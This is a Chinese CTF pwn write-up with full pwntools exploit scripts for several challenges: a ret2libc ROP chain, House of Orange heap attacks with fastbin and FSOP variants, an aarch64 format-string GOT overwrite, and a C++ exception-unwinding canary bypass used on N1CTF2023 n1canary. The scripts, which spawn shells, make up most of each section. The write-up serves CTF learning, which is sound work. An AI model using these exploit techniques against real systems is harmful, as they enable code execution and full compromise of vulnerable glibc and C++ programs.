返回时就能执行到布置的链子,在 ROP 链前添加尽可能多的滑板指令可以提高成功率
int __fastcall echo_inner(_BYTE *a1, int a2)
{
a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;
puts("You said:");
return printf("%s", a1);
}
exp 如下,跑不通多跑几遍
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['110.40.35.73', 33711]
pwnfile = './pwn'
elf = ELF(pwnfile)
libcfile = './libc-2.27.so'
libc = ELF(libcfile)
# libc = elf.libc
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
# debug('b *$rebase(0x141E)')
idx = ''
p.sendlineafter('continue\n', idx)
idx += '6'
p.sendlineafter('number: ', idx)
p.recvuntil('number is: ')
libc_addr = int(p.recvline().strip(), 16)
# print(libc_addr)
libc_base = libc_addr - 0x3ec7e3
loginfo('libc_base: ', libc_base)
p.sendlineafter('(max 256)? ', '256')
pop_rdi_ret = libc_base + 0x2164f
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
ret = libc_base + 0x8aa
rop = p64(pop_rdi_ret)
rop += p64(binsh)
rop += p64(system)
payload = p64(ret)*(32-4) + rop + p64(0)
p.send(payload)
exp()
p.interactive()
'''
pwndbg> libc
libc : 0x7ff41a3ec000
pwndbg> dist 0x7ff41a7d87e3 0x7ff41a3ec000
0x7ff41a7d87e3->0x7ff41a3ec000 is -0x3ec7e3 bytes (-0x7d8fd words)
'''
easy_heap
2.23 的菜单堆,esit()
函数处限制输入长度的 size 可控,能够实现很大程度的堆溢出
unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
_DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF
*(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
v1 = 0;
nbytes[0] = 0;
puts("Index :");
__isoc99_scanf("%d", &v1);
puts("Size :");
__isoc99_scanf("%d", nbytes);
if ( nbytes[0] > 0x1000u )
{
puts("too large");
exit(0);
}
puts("Content :");
read(0, *((void **)&chunk_ptr + v1), nbytes[0]);
return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}
难点在于 show()
函数处只能输出 8 个字节,所以想泄出 heap_base
不容易,以及没有 delete()
函数
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts("Index :");
__isoc99_scanf("%d", &v1);
write(1, *((const void **)&chunk_ptr + v1), 8uLL);
return __readfsqword(0x28u) ^ v2;
}
解法就是打 House of orange
将 top_chunk
链入到 unsorted bin
,再切割这个堆块踩出 libc 地址。然后用同样的办法,将新的 top_chunk
链入到 fastbin
,其中要注意的是需要控制好伪造的 top_chunk_size
的大小和堆块被切割后的剩余大小,才能被链入目标 bin 链
伪造的
top_chunk_size
字段需要符合下列条件:
top_chunk_size
要大于MINSIZE
top_chunk_size
字段的prev_inuse = 1
- 堆空间存在页对齐机制,要满足
(top_chunk_addr + top_chunk_size) & 0xfff = 0x000
若伪造的
size
字段不能满足上述条件,触发报错如下pwn: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
然后利用堆溢出修改 fd 指针,打 fastbin attack
,exp 如下
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'
elf = ELF(pwnfile)
libcfile = './libc-2.23.so'
libc = ELF(libcfile)
# libc = elf.libc
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def recv64_addr():
return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def menu(index):
p.sendlineafter('>\n', str(index))
def add(size, content='a'):
menu(1)
p.sendlineafter('Size :\n', str(size))
p.sendafter('Content :\n', content)
def edit(index, size, content='a'):
menu(2)
p.sendlineafter('Index :\n', str(index))
p.sendlineafter('Size :\n', str(size))
p.sendafter('Content :\n', content)
def show(index):
menu(3)
p.sendlineafter('Index :\n', str(index))
def exp():
# debug()
add(0x68) # 0
payload = 'a'*0x68 + p64(0xf91)
edit(0, len(payload), payload)
add(0x1000) # 1
add(0x10) # 2
show(2)
libc_addr = recv64_addr()
libc_base = libc_addr - 0x3c5161
one_gadget = [0x4527a, 0xf03a4, 0xf1247]
shell = libc_base + one_gadget[2]
malloc_hook = libc_base + libc.sym['__malloc_hook']
# pause()
add(0xf48) # 3, chunk empty
# pause()
add(0x68) # 4
payload = 'a'*0x68 + p64(0xf81)
edit(4, 0x70, payload)
add(0xf00-0x20) # 5, edit this chunk
add(0x100) # 6
payload = 'a'*(0xf00-0x20+0x8) + p64(0x71) + p64(malloc_hook - 0x23)
edit(5, len(payload), payload)
add(0x68)
payload = p8(0)*3 + p64(0)*2 + p64(shell)
add(0x68, payload)
menu(1)
p.sendlineafter('Size :\n', str(1))
exp()
p.interactive()
当然也可以使用常规的无 free()
函数的堆题的打法,House of orange + unsorted bin attack + FSOP
,这样的话难点在于需要一个堆地址,exp 如下
'''
huan_attack_pwn
'''
import sys
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
binary = './pwn'
libc = './libc-2.23.so'
host, port = "110.40.35.73:33786".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
'\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
r = remote(host, int(port))
else:
r = process(binary)
libc = ELF(libc)
elf = ELF(binary)
default = 1
se = lambda data : r.send(data)
sa = lambda delim, data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim, data : r.sendlineafter(delim, data)
rc = lambda numb=4096 : r.recv(numb)
rl = lambda time=default : r.recvline(timeout=time)
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)
uu32 = lambda data : u32(data.ljust(4, b'\0'))
uu64 = lambda data : u64(data.ljust(8, b'\0'))
lic = lambda data : uu64(ru(data)[-6:])
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl = lambda var_name : print(len(var_name))
debug = lambda command='' : gdb.attach(r,command)
it = lambda : r.interactive()
def Mea(idx):
sla(b'>\n',str(idx))
def Add(sz,ct=b'a'):
Mea(1)
sla(b'Size :\n',str(sz))
sla(b'Content :\n',ct)
def Edi(idx,sz,ct):
Mea(2)
sla(b'Index :\n',str(idx))
sla(b'Size :\n',str(sz))
sla(b'Content :\n',ct)
# sleep(1)
def show(idx):
Mea(3)
sla(b'Index :\n',str(idx))
payload=b'a'*(0x408)+p64(0xbf1)
Add((0x400))
Edi(0,len(payload),payload)
Add(0x1000)
Add(0x400)
show(2)
libc_base = u64(rc(6).ljust(8,b'\0')) - 0x61 - 0x3C4B20 + 16672
main_arena = (0x7ffff7bc4b20 - libc_base) + libc_base
io_list_all=libc_base+libc.symbols['_IO_list_all']
sys_addr=libc_base+libc.symbols['system']
# lg('libc_base')
payload=padding(0x400)+p64(0)+p64(0x4b1)
Edi(2,len(payload),payload)
Add(0X600)
Add(0X500)
# pause()
payload=b'a'*(0x508)+p64(0x4d1)
Edi(4,len(payload),payload)
Add(0x500)
payload=b'a'*(0x508)+p64(0xaf1)
Edi(5,len(payload),payload)
Add(0x1000)
# Add(0xac1)
# Add(0xac1)
Add(0X500)
Add(0x5b0)
Add(0x500)
payload=b'a'*(0x508)+p64(0xae1)
Edi(9,len(payload),payload)
Add(0x1000)
Add(0x600)
Add(0x521)
Add(0x4a0)
Add(0x500)
Add(0x500)
Add(0x500)
Add(0x500)
show(13)
heapbase = u64(rc(3).ljust(8,b'\0')) - 0x1ba61
lg('main_arena')
lg('heapbase')
lg('libc_base')
# pause()
p = b'B' * (0x400-0x20)
p += p64(0)
p += p64(0x21)
p += b'B' * 0x10
# fake file
f = b'/bin/sh\x00' # flag overflow arg -> system('/bin/sh')
f += p64(0x61) # _IO_read_ptr small bin size
# unsoted bin attack
f += p64(0) # _IO_read_end)
f += p64(io_list_all - 0x10) # _IO_read_base
#bypass check
# 使fp->_IO_write_base < fp->_IO_write_ptr绕过检查
f += p64(0) # _IO_write_base
f += p64(1) # _IO_write_ptr
f += p64(0) # _IO_write_end
f += p64(0) # _IO_buf_base
f += p64(0) # _IO_buf_end
f += p64(0) # _IO_save_base
f += p64(0) # _IO_backup_base
f += p64(0) # _IO_save_end
f += p64(0) # *_markers
f += p64(0) # *_chain
f += p32(0) # _fileno
f += p32(0) # _flags2
f += p64(1) # _old_offset
f += p16(2) # ushort _cur_colum;
f += p8(3) # char _vtable_offset
f += p8(4) # char _shrotbuf[1]
f += p32(0) # null for alignment
f += p64(0) # _offset
f += p64(6) # _codecvt
f += p64(0) # _wide_data
f += p64(0) # _freeres_list
f += p64(0) # _freeres_buf
f += p64(0) # __pad5
f += p32(0) # _mode 为了绕过检查,fp->mode <=0 ((addr + 0xc8) <= 0)
f += p32(0) # _unused2
p += f
p += p64(0) * 3 # alignment to vtable
p += p64(heapbase + 0x23010+8) # vtable指向自己
p += p64(0) * 2
p += p64(sys_addr) # _IO_overflow 位置改为system
payload = padding(0x4f8) + p64(0x181)
Add(0x4f8)
Edi(18,len(payload),payload)
Add(0x400)
Edi(19,len(p),p)
# debug()
Mea(1)
sla(b'Size :\n',str(0x1000))
it()
something_changed
程序保护如下,一个 AARCH64
架构的程序,GOT 表可写,开了 canary 保护
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
存在栈溢出,格式化字符串漏洞,以及后门函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v4; // x19
int i; // [xsp+FCCh] [xbp+2Ch]
char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF
__int64 v7; // [xsp+FF8h] [xbp+58h]
v7 = _bss_start;
read(0, v6, 0x50uLL);
for ( i = 0; ; ++i )
{
v4 = i;
if ( v4 >= strlen(v6) )
break;
if ( (char *)(unsigned __int8)v6[i] == "$" )
return 0;
}
printf(v6);
return 0;
}
__int64 backdoor()
{
__int64 v1; // [xsp+18h] [xbp+18h]
v1 = _bss_start;
system("/bin/sh");
return v1 ^ _bss_start;
}
代码里看似是禁用了 "$"
符,但是调试时可以断在 0x400820
这里,看看 cmp
指令比较的两个寄存器的值,X0
是指向 "$"
符的指针
下面是 gpt 的解释,不清楚是出题人的疏漏还是有意为之,总之可以不用去管 "$"
符这个限制
PoC 测出偏移是 14,然后直接使用 fmtstr_payload
这个轮子将 __stack_chk_fail()
函数的 GOT 表改成后门地址
exp 如下
from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
p = process(['qemu-aarch64-static', './pwn'])
def exp():
payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)
exp()
p.interactive()
顺便记录下相关的知识点
当时新的 wsl 虚拟机遇到了如下报错
$ qemu-aarch64-static ./pwn
qemu-aarch64-static: Could not open '/lib/ld-linux-aarch64.so.1': No such file or directory
解决方法如下
$ sudo apt-get install gcc-10-aarch64-linux-gnu
$ sudo cp /usr/aarch64-linux-gnu/lib/* /lib/
在运行于 x86_64
架构上的 Ubuntu
系统里查看 arm
交叉编译的可执行文件依赖的动态库
$ readelf -a ./pwn | grep "Shared"
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
这道异构的调试方法如下,第一个终端运行脚本,注意修改建立连接的语句 p = process(['qemu-aarch64-static', '-g', '1234', './pwn'])
,然后另起一个终端使用 GDB
连上去
另外
GDB
默认会自动检测并使用目标系统的字节序模式,但以防万一也可以自行设置小端序pwndbg> set endian little
异构程序的调试和相关指令集学习详见 PowerPC&ARM架构下的pwn初探
$ gdb-multiarch -q -ex "set architecture aarch64" ./pwn
pwndbg> add-symbol-file ./libc.so.6
pwndbg> set endian little
pwndbg> target remote :1234
嫌另起终端麻烦的话可以尝试下面的 exp,打开新世界大门嘻
from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# p = process(['qemu-aarch64-static', './pwn'])
p = process(['qemu-aarch64-static', '-g', '1234', './pwn'])
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
debug('''
# add-symbol-file ./libc.so.6
target remote :1234
b *0x400854
c
''')
payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
p.sendline(payload)
exp()
p.interactive()
C++异常处理
0x00 前置知识
本节内容针对 Linux 下的 C++ 异常处理机制,重点在于研究如何在异常处理流程中利用溢出漏洞,所以不对异常处理及 unwind 的过程做详细分析,只做简单介绍
异常机制中主要的三个关键字:throw 抛出异常,try 包含异常模块, catch 捕捉抛出的异常,它们一起构成了由 “抛出->捕捉->回退” 等步骤组成的整套异常处理机制。当一个异常被抛出时,就会立即引发 C++ 的异常捕获机制。异常被抛出后如果在当前函数内没能被 catch,该异常就会沿着函数的调用链继续往上抛,在调用链上的每一个函数中尝试找到相应的 catch 并执行其代码块,直到走完整个调用链。如果最终还是没能找到相应的 catch,那么程序会调用 std::terminate()
,这个函数默认是把程序 abort
其中,从程序抛出异常开始,沿着函数的调用链找相应的 catch 代码块的整个过程叫作栈回退 stack
然后调试一个 demo 来加深对异常处理机制的理解,目的是去验证下列操作的可行性:
- 通过篡改 rbp 可以实现类似栈迁移的效果,来控制程序执行流 ROP
- unwind 会检测在调用链上的函数里是否有 catch handler,要有能捕捉对应类型异常的 catch 块;通过劫持 ret 可以执行到目标函数的 catch 代码块,但是前提是要需要拥有合法的 rbp
// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void backdoor()
{
try
{
printf("We have never called this backdoor!");
}
catch (const char *s)
{
printf("[!] Backdoor has catched the exception: %s\n", s);
system("/bin/sh");
}
}
class x
{
public:
char buf[0x10];
x(void)
{
// printf("x:x() called!\n");
}
~x(void)
{
// printf("x:~x() called!\n");
}
};
void input()
{
x tmp;
printf("[!] enter your input:");
fflush(stdout);
int count = 0x100;
size_t len = read(0, tmp.buf, count);
if (len > 0x10)
{
throw "Buffer overflow.";
}
printf("[+] input() return.\n");
}
int main()
{
try
{
input();
printf("--------------------------------------\n");
throw 1;
}
catch (int x)
{
printf("[-] Int: %d\n", x);
}
catch (const char *s)
{
printf("[-] String: %s\n", s);
}
printf("[+] main() return.\n");
return 0;
}
编译出来的可执行文件的保护如下,开了 canary 保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
输入点 buf 距离 rbp 的距离是0x30
所以测试输入长度分别为0x31和0x39的 PoC,发现会报不同的 crash,合理推测栈上的数据(例如 ret, rbp)会影响异常处理的流程
ve1kcon@wsl:~$ cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
ve1kcon@wsl:~$ cyclic 56
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa
能发现无论怎么样都不会输出程序里写在 input()
函数里的 [+] input() return.
这是因为异常处理时从 __cxa_throw()
开始,之后进行 unwind, cleanup, handler, 程序不会再执行发生异常所在函数的剩余部分,会沿着函数调用链往回找能处理对应异常的最近的函数,然后回退至此函数执行其 catch 块后跟着往下运行,途径的函数的剩余部分也不会再执行,自然不会执行到出现异常的函数的 throw 后面的语句,更不会执行到这些函数的 ret
这里就能抛出一个思考了:对 canary 的检测一般在最后的函数返回处,那么在执行异常处理流程时不就能跳过
stack_check_fail()
这个调用了嘛?
下面利用 poc1 = padding + '\x01'
覆盖 rbp 值,可以将断点断在 call _read
指令后面一点的位置,这样就能断下来了,在这里观察到 rbp 的低一字节已被成功篡改为 '\x01'
继续运行至程序报错的位置,最后在 0x401506
这条 ret 指令处出了问题,是错误的返回地址导致的,记录下这个指令地址,后续可以将断点打在这里,观察是否能成功控制程序流
根据这个指令的地址,可以在 IDA 中定位到这是异常处理结束后最终的 ret 指令,所以可以确定是在执行 main 的 handler 时 crash,那么上述报错出现的原因其实就很明显了,是因为最后执行的 leave; ret
使得 ret 的地址变成了 [rbp+8]
,导致不合法的返回地址。这也意味着在 handler 里就能够完成栈迁移,所以可以尝试通过篡改 rbp 实现控制程序执行提前布置好的 ROP 链
接下来尝试劫持程序去执行 GOT 表里的函数
.got.plt:0000000000404040 off_404040 dq offset fflush ; DATA XREF: _fflush+4↑r
.got.plt:0000000000404048 off_404048 dq offset read ; DATA XREF: _read+4↑r
.got.plt:0000000000404050 off_404050 dq offset puts ; DATA XREF: _puts+4↑r
.got.plt:0000000000404058 off_404058 dq offset __cxa_end_catch
利用 poc2 = padding + p64(0x404050-0x8)
,运行到上述断点处发现成功调用到了 puts
函数
证明操作1可行
但这种利用方式只适用于 “通过将 old_rbp 存储于栈中来保留现场” 的函数调用约定,以及需要出现异常的函数的 caller function 要存在处理对应异常的代码块,否则也会走到 terminate
为了调试上述说法,对 demo 作了修改,主要改动如下
void test() { x tmp; printf("[!] enter your input:"); fflush(stdout); int count = 0x100; size_t len = read(0, tmp.buf, count); if (len > 0x10) { throw "Buffer overflow."; } printf("[+] test() return.\n"); } void input() { test(); printf("[+] input() return.\n"); }
这回同样是使用
poc2
,但 crash 了对 demo 重新修改的部分如下
void input() { try { test(); } catch (const char *s) { printf("[-] String(From input): %s\n", s); } printf("[+] input() return.\n"); }
复现成功,这次是在 input 的 handler 里被劫持,而非在 main 了
但是噢,如果是通过打返回地址劫持到另外一个函数的异常处理模块,是没有 “出现异常的函数的 caller function 要存在处理对应异常的代码块” 这层限制的,但这也是后话了
由于调用链 __cxa_throw
-> _Unwind_RaiseException
,在 unwind 函数里会取运行时栈上的返回地址 callee ret 来对整个调用链进行检查,它会在链上的函数里搜索 catch handler
,若所有函数中都无对应类型的 catch 块,就会调用 __teminate()
终止进程。
利用 poc3 = poc2 + 'b'*8
调试一下后面的 unwind 函数的过程,一直运行至 _Unwind_RaiseException+463
发生了 crash,合理猜测是在这调用的函数里作的检测,所有可以观察下此时传参的情况,下断方式是 b *(&_Unwind_RaiseException+463)
这个地方循环执行了几次
第一次,rdx -> 0x4000000000000000
第二次,rdx -> 0x4013a7 (input()+162)
第三次,rdx -> 0x6262626262626262 ('bbbbbbbb')
再琢磨下异常处理机制,能够发现另外一个利用点,就是假如函数A内有能够处理对应异常的 catch 块,是否可以通过影响运行时栈的函数调用链,即更改某 callee function ret 地址,从而能够成功执行到函数A的 handler 呢
下面尝试通过直接劫持 input()
函数的 ret, 可以发现在源码中有定义 backdoor()
函数,但程序中并没有一处存在对该后门函数的引用,利用 poc4 = poc2 + p64(0x401292+1)
尝试触发后门
这里将返回地址填充成了
backdoor()
函数里 try 代码块里的地址,它是一个范围,经测试能够成功利用的是一个左开右不确定的区间(x)
.text:0000000000401283 lea rax, format ; "We have never called this backdoor!"
.text:000000000040128A mov rdi, rax ; format
.text:000000000040128D mov eax, 0
.text:0000000000401292 ; try {
.text:0000000000401292 call _printf
.text:0000000000401292 ; } // starts at 401292
.text:0000000000401297 jmp short loc_4012FF
可以看见程序执行了后门函数的异常处理模块,复现成功,成功执行到了一个从未引用过的函数,而且程序从始至终都是开了 canary 保护的,这直接造成的栈溢出却能绕过 stack_check_fail()
这个函数对栈进行检测
exp 如下
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
# debug('b *0x401371') # call _read
# b __cxa_throw@plt
# b *0x401506 # handler ret
# b *(&_Unwind_RaiseException+463) # check ret
test = 'a'*5
padding = 'a'*0x30
# poc = padding + '\n'
poc1 = padding + '\x01'
poc2 = padding + p64(0x404050-0x8)
poc3 = poc2 + 'b'*8
poc4 = poc2 + p64(0x401292+1)
p.sendafter('input:', poc4)
exp()
p.interactive()
0x01 N1CTF2023_n1canary
2023/10
程序保护如下
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
非常具有迷惑性的一道题,出题人自行实现了一个 canary,并将它布置在系统 canary 上面 0x10
的地方,但所有 canary 相关的检测其实都是绕不过的,漏洞点是 launch()
函数处的栈溢出,触发点是 raise()
函数处的异常抛出,异常未能正确被捕获并处理,最终是能够避开对栈上 canary 的验证并利用析构函数 ROP
main()
函数逻辑如下
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx
__int64 v4; // rax
_QWORD v6[3]; // [rsp+0h] [rbp-18h] BYREF
v6[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL, envp);
setbuf(stdout, 0LL, v3);
init_canary(); // canary init
std::make_unique<BOFApp>((__int64)v6); // *v6 -> vtable for BOFApp+16 (0x4ed510)
v4 = std::unique_ptr<BOFApp>::operator->((__int64)v6); // v4 = v6
(*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16LL))(v4); // call 0x403552 (BOFApp::launch())
std::unique_ptr<BOFApp>::~unique_ptr((__int64)v6);
return 0;
}
初始化 sys_canary
并读取用户输入的64个字节作为 user_canary
,用来生成自定义 canary,第一个输入点的 user_canary
是往 .bss
段上写的
__int64 init_canary(void)
{
if ( getrandom(&sys_canary, 64LL, 0LL) != 64 )
raise("canary init error");
puts("To increase entropy, give me your canary");
return readall<unsigned long long [8]>(&user_canary);
}
__int64 __fastcall ProtectedBuffer<64ul>::getCanary(unsigned __int64 a1)
{
return user_canary[(a1 >> 4) & 7] ^ sys_canary[(a1 >> 4) & 7];
}
这段代码实现了 BOFApp
类的构造函数,首先调用基类构造函数实现了 BOFApp
对象基类部分的初始化,然后将 BOFApp
对象的虚函数表指针设置为 off_4ED510
,使得对象能够正确调用其虚函数。通过调试发现,赋值语句执行前 this -> vtable for UnsafeApp+16
,执行后 this -> vtable for BOFApp+16
void __fastcall BOFApp::BOFApp(BOFApp *this)
{
UnsafeApp::UnsafeApp(this);
*(_QWORD *)this = off_4ED510;
}
创建一个 BOFApp
类的实例,然后调用 BOFApp
的构造函数初始化对象,跟进后面那个函数发现进行了 *a1 = v1
的操作
__int64 __fastcall std::make_unique<BOFApp>(__int64 a1)
{
BOFApp *v1; // rbx
v1 = (BOFApp *)operator new(8uLL);
*(_QWORD *)v1 = 0LL;
BOFApp::BOFApp(v1);
std::unique_ptr<BOFApp>::unique_ptr<std::default_delete<BOFApp>,void>(a1, v1);
return a1;
}
执行完 std::make_unique<BOFApp>((__int64)v6)
后,栈变量 v6
被重新赋值
于是接下来调用的是 BOFApp::launch()
函数
pwndbg> x/20gx 0x4ed510+0x10
0x4ed520 <vtable for BOFApp+32>: 0x0000000000403552 0x0000000000000000
在 IDA 里计算也是一样的,执行 (*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 0x10LL))(v4);
语句,即 call *(0x4ED510+0x10)
.data.rel.ro:00000000004ED510 off_4ED510 dq offset _ZN6BOFAppD2Ev
.data.rel.ro:00000000004ED510 ; DATA XREF: BOFApp::BOFApp(void)+16↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()+9↑o
.data.rel.ro:00000000004ED510 ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED518 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED520 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void)
最后是对象的析构函数,里面要重点关注的函数的路径是 std::unique_ptr<BOFApp>::~unique_ptr()
--> std::default_delete<BOFApp>::operator()(BOFApp*)
,这里存在函数指针调用,这意味着只需要控制 a2
的值就能控制程序流
__int64 __fastcall std::default_delete<BOFApp>::operator()(__int64 a1, __int64 a2)
{
__int64 result; // rax
result = a2;
if ( a2 )
return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a2 + 8LL))(a2);
return result;
}
通过逆向分析和调试可知参数 a2
与前面提到的栈变量 v6
有关,所以将断点打在 0x40340D
,正常输入,调试一下看传参情况
查看虚函数表指针 +0x8
位置处指向什么函数,0x4038b8
再把断点打在 0x403909
,看到这里确实调用到了上述函数
下面介绍漏洞点
第二个输入点存在栈溢出,调用链是 BOFApp::launch(void)
--> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&)
--> BOFApp::launch(void)::{lambda(char *)#1}::operator()(char *)
__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()(
__int64 a1,
__int64 a2,
int a3,
int a4,
int a5,
int a6)
{
return _isoc23_scanf((unsigned int)"%[^\n]", a2, a3, a4, a5, a6, a2, a1);
}
下列是 AI 的解释
_isoc23_scanf
根据格式字符串读取输入。格式字符串"%[^\n]"
表示读取所有非换行符的字符,直到遇到换行符为止。这样写其实就相当于 c 的 gets() 了。- 输入存储:将读取的输入存储在
a2
指向的缓冲区中。a3, a4, a5, a6
是额外参数,可能用于其他目的。
观察下这个 _isoc23_scanf()
函数,断点打在 0x403547
处观察数据写入的位置
计算输入点与目标指针的距离为 0x70
所以可以利用上述栈溢出去修改自定义 canary,来触发异常,栈回退避开对自定义 canary 和系统 canary 的检测,最后调用到析构函数
这样下来,思路就理清楚了,在 user_canary
处伪造虚函数表指向后门函数,然后利用溢出修改存储在栈上的 BOFApp
对象的虚函数表指针,即变量 v6
,在此过程中自定义 canary 一定会被篡改,程序将会在 raise()
函数里抛出异常,这里是漏洞的触发点,调用链如下
BOFApp::launch(void)
--> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&)
--> ProtectedBuffer<64ul>::check(void)
--> raise(char const*)
bool __fastcall ProtectedBuffer<64ul>::check(unsigned __int64 a1)
{
__int64 v1; // rbx
bool result; // al
v1 = *(_QWORD *)(a1 + 0x48);
result = v1 != ProtectedBuffer<64ul>::getCanary(a1);
if ( result )
raise("*** stack smash detected ***");
return result;
}
void __fastcall __noreturn raise(const char *a1)
{
std::runtime_error *exception; // rbx
puts(a1);
exception = (std::runtime_error *)_cxa_allocate_exception(0x10uLL);
std::runtime_error::runtime_error(exception, a1);
_cxa_throw(exception, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}
异常处理流程最终调用到的析构函数处存在指针调用,但此时指针已被我们提前利用溢出数据控好了,造成任意代码执行
可以直接动调一下 raise()
函数内部,然后再看看函数返回哪里呢。可以在一些地方下断点调试看看,比如 0x403291
处的抛出异常,0x403432
处的调用析构函数,最后在 0x4038fc
出现 crash,原因是不合法的 RAX
,它的值是 BOFApp
类对象指针 v6
,这是可以利用溢出写到那的,所以是可控的,继续往下看后面的汇编,会发现只要控了 RAX
就能够控到 RDX
,在最后的 call rdx;
处便能造成任意代码执行
由于 user_canary
可控,可以尝试在这里伪造虚函数表并将指针劫持到这,这是构造好的 exp 运行到此处时的参数情况
成功执行到后门函数
另外提一嘴,上面提到了避开 canary 检测执行到析构函数,笔者是这样理解的:在程序正常运行时应该是在执行完 launch()
函数后执行析构函数,但在 raise()
函数里却有异常被抛出,而且回溯了整条函数调用链,包括 raise()
函数本身,都没看见有能处理此异常的 catch
代码块,合理猜测最终将会由 handler 执行析构函数,在此过程中自然也绕过了程序自身的 __stack_chk_fail_local
检测
其实在创建对象的函数里,创建对象时会有构造函数,函数返回处会有析构函数。但当该函数运行到一半就抛出了异常时,若在当前函数内不能正常捕捉异常,那这个函数剩下的部分便不会再被执行到了,自然也不会运行到函数返回处的那个析构函数。但是程序依旧是需要去运行析构函数销毁对象的,达到释放资源的目的,这种情况下应该是在 handler 中调用到析构函数的
最终的 exp 如下,还有一点要注意的是,中途覆盖到的函数返回地址是不能乱填的,具体原因详见 “0x00 前置知识” 处,与 unwind()
函数里的检测有关,所以 ret 填回原来的 0x403407
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './n1canary'
p = process(pwnfile)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
# debug('b *0x403547')
# b *0x40340D # Destructor
# b *0x403909 # pointer call
# b *0x403291 # raise->throw
# b *0x403432 # <main+146> call std::unique_ptr<BOFApp, std::default_delete<BOFApp> >::~unique_ptr()
# b *0x4038fc
backdoor = 0x403387
user_canary = 0x4F4AA0
payload = p64(user_canary+8) + p64(backdoor)*2
payload = payload.ljust(0x40, 'a')
p.sendafter('canary\n', payload)
payload = 'a'*(0x70-0x8)
payload += p64(0x403407) # ret
# payload += 'a'*(0x8)
payload += p64(user_canary) # BOFApp *v6
# p.sendlineafter(' to pwn :)\n', payload)
exp()
p.interactive()
后门命令执行了 /readflag